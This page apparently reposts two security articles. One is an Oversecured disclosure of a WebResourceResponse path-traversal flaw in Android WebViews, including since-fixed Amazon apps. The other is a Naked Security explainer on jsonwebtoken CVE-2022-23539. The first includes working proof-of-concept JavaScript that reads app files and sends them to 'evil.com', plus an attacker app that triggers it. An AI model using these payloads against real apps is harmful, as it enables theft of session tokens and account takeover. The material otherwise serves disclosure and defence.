Android: Exploring vulnerabilities in WebResourceResponse

Android: Exploring vulnerabilities in WebResourceResponse

Original text by oversecured

When it comes to vulnerabilities in WebViews, we often overlook the incorrect implementation of 

WebResourceResponse
 which is a WebView class that allows an Android app to emulate the server by returning a response (including a status code, content type, content encoding, headers and the response body) from the app’s code itself without making any actual requests to the server. At the end of the article, we’ll show how we exploited a vulnerability related to this in Amazon apps.

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more.

What is 

WebResourceResponse
?

The WebView class in Android is used for displaying web content within an app, and provides extensive capabilities for manipulating requests and responses. It is a fancy web browser that allows developers, among other things, to bypass standard browser security. Any misuse of these features by a malicious actor can lead to vulnerabilities in mobile apps.

One of these features is that a WebView allows you to intercept app requests and return arbitrary content, which is implemented via the 

WebResourceResponse
 class.

Let’s look at a typical example of a 

WebResourceResponse
 implementation:

WebView webView = findViewById(R.id.webView);
webView.setWebViewClient(new WebViewClient() {
   public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
       Uri uri = request.getUrl();
       if (uri.getPath().startsWith("/local_cache/")) {
           File cacheFile = new File(getCacheDir(), uri.getLastPathSegment());
           if (cacheFile.exists()) {
               InputStream inputStream;
               try {
                   inputStream = new FileInputStream(cacheFile);
               } catch (IOException e) {
                   return null;
               }
               Map<String, String> headers = new HashMap<>();
               headers.put("Access-Control-Allow-Origin", "*");
               return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
           }
       }
       return super.shouldInterceptRequest(view, request);
   }
});

As you can see in the code above, if the request URI matches a given pattern, then the response is returned from the app resources or local files. The problem arises when an attacker can manipulate the path of the returned file and, through XHR requests, gain access to arbitrary files.

Therefore, if an attacker discovers a simple XSS or the ability to open arbitrary links inside the Android app, they can use that to leak sensitive user data – which can also include the access token, leading to a full account takeover.

Proof of Concept for an attack

If you already have the ability to execute arbitrary JavaScript code inside a vulnerable WebView, and assuming there is some sensitive data in 

/data/data/com.victim/shared_prefs/auth.xml
, then the Proof of Concept for the attack will look like this:

<!DOCTYPE html>
<html>
<head>
   <title>Evil page</title>
</head>
<body>
<script type="text/javascript">
   function theftFile(path, callback) {
     var oReq = new XMLHttpRequest();

     oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true);
     oReq.onload = function(e) {
       callback(oReq.responseText);
     }
     oReq.onerror = function(e) {
       callback(null);
     }
     oReq.send();
   }

   theftFile("shared_prefs/auth.xml", function(contents) {
       location.href = "https://evil.com/?data=" + encodeURIComponent(contents);
   });
</script>
</body>
</html>

It should be noted that the attack works because 

new File(getCacheDir(), uri.getLastPathSegment())
 is being used to generate the path and the method 
Uri.getLastPathSegment()
 returns a decoded value.

However, policies like CORS still work inside a WebView. Therefore, if 

Access-Control-Allow-Origin: *
 is not specified in the headers, then requests to the current domain will not be allowed. In our example, this restriction will not affect the exploitation of path traversal, because 
any.domain
 can be replaced with the current scheme + host + port.

An overview of the vulnerability in Amazon’s apps

We scanned the Amazon Shopping and Amazon India Online Shopping apps and found two vulnerabilities. They were chained to access arbitrary files owned by Amazon apps and then reported to the Amazon VRP on December 21st, 2019. The issues were confirmed fixed by Amazon on April 6th, 2020.

  • The first was opening arbitrary URLs within the WebView through the 
    com.amazon.mShop.pushnotification.WebNotificationsSettingsActivity
    activity:

– and the second was stealing arbitrary files via 

WebResourceResponse
 in the 
com/amazon/mobile/mash/MASHWebViewClient.java
 file:

Two checks take place in the 

com/amazon/mobile/mash/handlers/LocalAssetHandler.java
 file:

One is in the 

shouldHandlePackage
 method:

public boolean shouldHandlePackage(UrlWebviewPackage pkg) {
       return pkg.getUrl().startsWith("https://app.local/");
   }

And the second is in the 

handlePackage
 handler:

public WebResourceResponse handlePackage(UrlWebviewPackage pkg) {
       InputStream stm;
       Uri uri = Uri.parse(pkg.getUrl());
       String path = uri.getPath().substring(1);
       try {
           if (path.startsWith("assets/")) {
               stm = pkg.getWebView().getContext().getResources().getAssets().open(path.substring("assets/".length()));
           } else if (path.startsWith("files/")) {
               stm = new FileInputStream(path.substring("files/".length())); // path to an arbitrary file
           } else {
               MASHLog.m2345v(TAG, "Unexpected path " + path);
               stm = null;
           }
           //...
           Map<String, String> headers = new HashMap<>();
           headers.put("Cache-Control", "max-age=31556926");
           headers.put("Access-Control-Allow-Origin", "*");
           return new WebResourceResponse(mimeType, null, 200, "OK", headers, stm);
       } catch (IOException e) {
           MASHLog.m2346v(TAG, "Failed to load resource " + uri, e);
           return null;
       }
   }


Proof of Concept for Amazon

Keeping the above-mentioned vulnerabilities and checks in mind, the attacker’s app looked like this:

String file = "/sdcard/evil.html";
   try {
       InputStream i = getAssets().open("evil.html");
       OutputStream o = new FileOutputStream(file);
       IOUtils.copy(i, o);
       i.close();
       o.close();
   } catch (Exception e) {
       throw new RuntimeException(e);
   }

   Intent intent = new Intent();
   intent.setClassName("in.amazon.mShop.android.shopping", "com.amazon.mShop.pushnotification.WebNotificationsSettingsActivity");
   intent.putExtra("MASHWEBVIEW_URL", "file://www.amazon.in" + file + "#/data/data/in.amazon.mShop.android.shopping/shared_prefs/DataStore.xml");
   startActivity(intent);

The apps also had a host check that was bypassed by us. This check could also be bypassed using the 

javascript:
 scheme which removed any requirements to have SD card permissions for making a file.

The file 

evil.html
 contained the exploit code:

<!DOCTYPE html>
<html>
<head>
   <title>Evil</title>
</head>
<body>
<script type="text/javascript">
   function theftFile(path, callback) {
     var oReq = new XMLHttpRequest();

     oReq.open("GET", "https://app.local/files/" + path, true);
     oReq.onload = function(e) {
       callback(oReq.responseText);
     }
     oReq.onerror = function(e) {
       callback(null);
     }
     oReq.send();
   }

   theftFile(location.hash.substring(1), function(contents) {
       location.href = "https://evil.com/?data=" + encodeURIComponent(contents);
   });
</script>
</body>
</html>

As a result, on opening the attacker’s app, the 

DataStore.xml
 file containing the user’s session token was sent to the attacker’s server.

How to prevent this vulnerability

While implementing 

WebResourceResponse
, it is recommended to use 
WebViewAssetLoader
, which is a user-friendly interface. It allows the app to safely process data from resources, assets or a predefined directory.

It could be challenging to keep track of security, especially in large projects. You can use Oversecured vulnerability scanner since it tracks all known security issues on Android and iOS including all the vectors mentioned above. To begin testing your apps, use Quick Startbook a call or contact us.

Popular JWT cloud security library patches “remote” code execution hole

Popular JWT cloud security library patches “remote” code execution hole

Original text by Paul Ducklin

JWT is short for JSON Web Token, where JSON itself is short for JavaScript Object Notation.

JSON is a modernish way of representing structured data; its format is a bit like XML, and can often be used instead, but without all the opening-and-closing angle brackets to get in the way of legibility.

For example, data that might be recorded like this in XML…

<?xml version="1.0" encoding="UTF-8"?>
<data>
   <name>Duck</name>
   <job>
      <employer>Sophos</employer>
      <role>NakSec</role>
   </job>
</data>

…might come out like this in JSON:

{"name":"Duck","job":{"employer":"Sophos","role":"NakSec"}}

Whether the JSON really is easier to read than the XML is an open question, but the big idea of JSON is that because the data is encoded as legal JavaScript source, albeit without any directly or indirectly executable code in it, you can parse and process it using your existing JavaScript engine, like this:

The output string undefined above merely reflects the fact that console.log() is a procedure – a function that does some work but doesn’t return a value. The word Sophos is printed out as a side-effect of calling the function, while undefined denotes what the function calculated and sent back: nothing.

The popularity of JavaScript for both in-browser and server-side programming, plus the visual familiarity of JSON to JavaScript coders, means that JSON is widely used these days, especially when exchanging structured data between web clients and servers.

And one popular use of JSON is the JWT system, which isn’t (officially, at any rate) read aloud as juh-witt, as it is written, but peculiarly pronounced jot, an English word that is sometimes used to refer the little dot we write above above an 

i
 or 
j
, and that refers to a tiny but potentially important detail.

Authenticate strongly, then get a temporary token

Loosely speaking, a JWT is a blob of encoded data that is used by many cloud servers as a service access token.

The idea is that you start by proving your identity to the service, for example by providing a username, password and 2FA code, and you get back a JWT.

The JWT sent back to you is a blob of base64-encoded (actually, URL64-encoded) data that includes three fields:

  • Which crytographic algorithm was used in constructing the JWT.
  • What sort of access the JWT grants, and for how long.
  • A keyed cryptographic hash of the first two fields, using a secret key known only to your service provider.

Once you’ve authenticated up front, you can make subsequent requests to the online service, for example to check a product price or to look up an email address in a database, simply by including the JWT in each request, using it as a sort-of temporary access card.

Clearly, if someone steals your JWT after it’s been issued, they can play it back to the relevant server, which will typically give them access instead of you…

…but JWTs don’t need to be saved to disk, usually have a limited lifetime, and are sent and received over HTTPS connections, so that they can’t (in theory at least) easily be sniffed out or stolen.

When JWTs expire, or if they are cancelled for security reasons by the server, you need to go through the full-blown authentication process again in order to re-establish your right to access the service.

But for as long they’re valid, JWTs improve performance because they avoid the need to reauthenticate fully for every online request you want to make – rather like session cookies that are set in your browser while you’re logged into a social network or a news site.

Security validation as infiltration

Well, cybersecurity news today is full of a revelation by researchers at Palo Alto that we’ve variously seen described as a “high-severity flaw” or a “critical security flaw” in a popular JWT implementation.

In theory, at least, this bug could be exploited by cybercriminals for attacks ranging from implanting unauthorised files onto a JWT server, thus maliciously modifying its configuration or modifying the code it might later use, to direct and immediate code execution inside a victim’s network.

Simply put, the act of presenting a JWT to a back-end server for validation – something that typically happens at every API call (jargon for making a service request) – could lead malware being implanted.

But here’s the good news:

  • The flaw isn’t intrinsic to the JWT protocol. It applies to a specific implementation of JWT called 
    jsonwebtoken
     from a group called Auth0.
  • The bug was patched three weeks ago. If you’ve updated your version of 
    jsonwebtoken
     from 8.5.1 or earlier to version 9.0.0, which came out on 2022-12-21, you’re now protected from this particular vulnerability.
  • Cybercriminals can’t directly exploit the bug simply by logging in and making API calls. As far as we can see, although an attacker could subsequently trigger the vulnerability by making remote API requests, the bug needs to be “primed” first by deliberately writing a booby-trapped secret key into your authentication server’s key-store.

According to the researchers, the bug existed in the part of Auth0’s code that validated incoming JWTs against the secret key stored centrally for that user.

As mentioned above, the JWT itself consists of two fields of data denoting your access privileges, and a third field consisting of the first two fields hashed using a secret key known only to the service you’re calling.

To validate the token, the server needs to recalculate the keyed hash of those first two JWT fields, and to confirm the hash that you presented matches the hash it just calculated.

Given that you don’t know the secret key, but you can present a hash that was computed recently using that key…

…the server can infer that you must have acquired the hash from the authentication server in the first place, by proving your identity up front in some suitable way.

Data type confusion

It turns out that the hash validation code in 

jsonwebtoken
 assumes (or, until recently, assumed) that the secret key for your account in the server’s own authentication key-store really was a cryptographic secret key, encoded in a standard text-based format such as PEM (short for privacy enhanced mail, but mainly used for non-email purposes these days).

If you could somehow corrupt a user’s secret key by replacing it with data that wasn’t in PEM format, but that was, in fact, some other more complex sort of JavaScript data object…

…then you could booby-trap the secret-key-based hash validation calculation by tricking the authentication server into running some JavaScript code of your choice from that infiltrated “fake key”.

Simply put, the server would try to decode a secret key that it assumed was in a format it could handle safely, even if the key wasn’t in a safe format and the server couldn’t deal with it securely.

Note, however, that you’d pretty much need to hack into the secret key-store database first, before any sort of truly remote code execution trigger would be possible.

And if attackers are already able to wander around your network to the point that they can not only poke their noses into but also modify your JWT secret-key database, you’ve probably got bigger problems than CVE-2022-23539, as this bug has been designated.

What to do?

If you’re using an affected version of 

jsonwebtoken
update to version 9.0.0 to leave this bug behind.

However, if you’ve now patched but you think crooks might realistically have been able to pull off this sort of JWT attack on your network, patching alone isn’t enough.

In other words, if you think you might have been at risk here, don’t just patch and move on.

Use threat detection and response techniques to look for holes by which cybercriminals could get far enough to attack your network more generally…

…and make sure you don’t have crooks in your network anyway, even after applying the patch.